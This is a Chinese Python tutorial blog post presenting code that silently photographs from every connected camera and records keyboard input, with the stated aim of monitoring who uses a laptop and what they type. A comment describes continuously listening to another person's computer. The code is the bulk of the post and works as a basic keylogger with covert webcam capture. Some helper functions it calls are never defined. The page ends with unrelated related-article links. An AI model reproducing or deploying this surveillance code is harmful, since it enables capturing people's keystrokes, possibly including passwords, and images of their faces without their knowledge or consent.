使用Python实现全摄像头拍照与键盘输入监听功能

 更新时间:2023年08月22日 09:16:25   作者:冥天肝  
这篇文章主要介绍了使用Python实现全摄像头拍照与键盘输入监听功能,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

一、序

使用Python实现笔记本电脑对使用人的监测,记录下输入的字符与使用人是谁

二、实现代码

摄像头拍照

def show_in_cv(camera_id):
  # 获取当前日期和时间
  setTime()
  DayPaths = SavePath + f'\{formatted_date}'
  fileOrNone(DayPaths)
  datePaths = DayPaths + f'\{formatted_time}'
  fileOrNone(datePaths)
  cap = cv.VideoCapture(camera_id, cv.CAP_DSHOW)
  # cap.set(cv.CAP_PROP_FRAME_WIDTH, 960)
  # cap.set(cv.CAP_PROP_FRAME_HEIGHT, 540)
  # cap.set(cv.CAP_PROP_FPS, 30)
  suc, frame = cap.read()
  # 纯英文路径保存方法
  # cv.imwrite(f'{datePaths}\{camera_id}.jpg', frame)
  # 中文路径保存方法
  cv.imencode('.jpg', frame)[1].tofile(f'{datePaths}\{camera_id}.jpg')
  # 弹窗展示功能
  # cv.imshow("preview camera", frame)
  # cv.waitKey(30)
def cameraMain():
    # cameras = list_video_devices()
    # print(f'\n\n===========================\ncamera_list: {cameras}')
    # print(cameras)
    # idx = 1
    # camera_id = cameras[idx][0]
    # camera_name = cameras[idx][1]
    # print(f'\n\n===========================\npreview camera: camera_id={camera_id} camera_name={camera_name}')
    # show_in_cv(camera_id)
    cameras = list_video_devices()
    for idx in cameras:
        camera_id = idx[0]
        camera_name = idx[1]
        show_in_cv(camera_id)
if __name__ == '__main__':
    cameraMain()

键盘监听

CODE = ""
# 一直监听对方电脑的键盘输入
# 处理键盘输入的数据
def on_release(key):
    global CODE
    try:
        CODE += key.char
        # print(key)
    except Exception as e:
        try:
            if key == key.enter:  # 如果扫码枪中的数据是回车enter按键
                print(CODE)
        except Exception as e:
            CODE = ""
def getCODE():
    return CODE
# 监听键盘扫码枪输入
def returnCode():
    with keyboard.Listener(on_release=on_release) as listener:
        listener.join()
if __name__ == '__main__':
    returnCode()

到此这篇关于使用Python实现全摄像头拍照与键盘输入监听的文章就介绍到这了,更多相关Python全摄像头拍照与键盘输入监听内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • pytorch如何对image和label同时进行随机翻转

    pytorch如何对image和label同时进行随机翻转

    这篇文章主要介绍了pytorch如何对image和label同时进行随机翻转问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-09-09
  • Python读取数据集并消除数据中的空行方法

    Python读取数据集并消除数据中的空行方法

    今天小编就为大家分享一篇Python读取数据集并消除数据中的空行方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-07-07
  • Python的运算符重载详解

    Python的运算符重载详解

    这篇文章主要介绍了Python的运算符重载详解,文中有非常详细的代码示例,对正在学习python的小伙伴们有非常好的帮助,需要的朋友可以参考下
    2021-05-05
  • 手把手教你快速安装gpu版本的pytorch(详细图文教程)

    手把手教你快速安装gpu版本的pytorch(详细图文教程)

    在Windows 10上安装PyTorch时,通常默认安装的是CPU版本,且下载速度较慢,本文提供了一个详细的安装指南,包括如何检查CUDA版本、选择合适的PyTorch、torchvision和torchaudio版本,并通过pip而非conda进行安装,文中通过图文介绍的非常详细,需要的朋友可以参考下
    2024-09-09
  • python 计算概率密度、累计分布、逆函数的例子

    python 计算概率密度、累计分布、逆函数的例子

    这篇文章主要介绍了python 计算概率密度、累计分布、逆函数的例子,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-02-02
  • Python迭代器的实现原理

    Python迭代器的实现原理

    这篇文章主要介绍了Python迭代器的实现原理,文章基于python的相关资料展开对Python迭代器的详细介绍,需要的小伙伴可以参考一下
    2022-05-05
  • 详解tensorflow之过拟合问题实战

    详解tensorflow之过拟合问题实战

    这篇文章主要介绍了详解tensorflow之过拟合问题实战,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-11-11
  • python 多进程和多线程使用详解

    python 多进程和多线程使用详解

    这篇文章主要介绍了python 多进程和多线程使用详解,帮助大家更好得理解和学习使用python,感兴趣的朋友可以了解下
    2021-03-03
  • Python实现查找并删除重复文件的方法小结

    Python实现查找并删除重复文件的方法小结

    这篇文章主要为大家详细介绍了如何使用Python编写一个简单的脚本来查找并删除指定目录及其子目录中的重复文件,需要的可以参考一下
    2025-03-03
  • python3读取excel文件只提取某些行某些列的值方法

    python3读取excel文件只提取某些行某些列的值方法

    今天小编就为大家分享一篇python3读取excel文件只提取某些行某些列的值方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-07-07

最新评论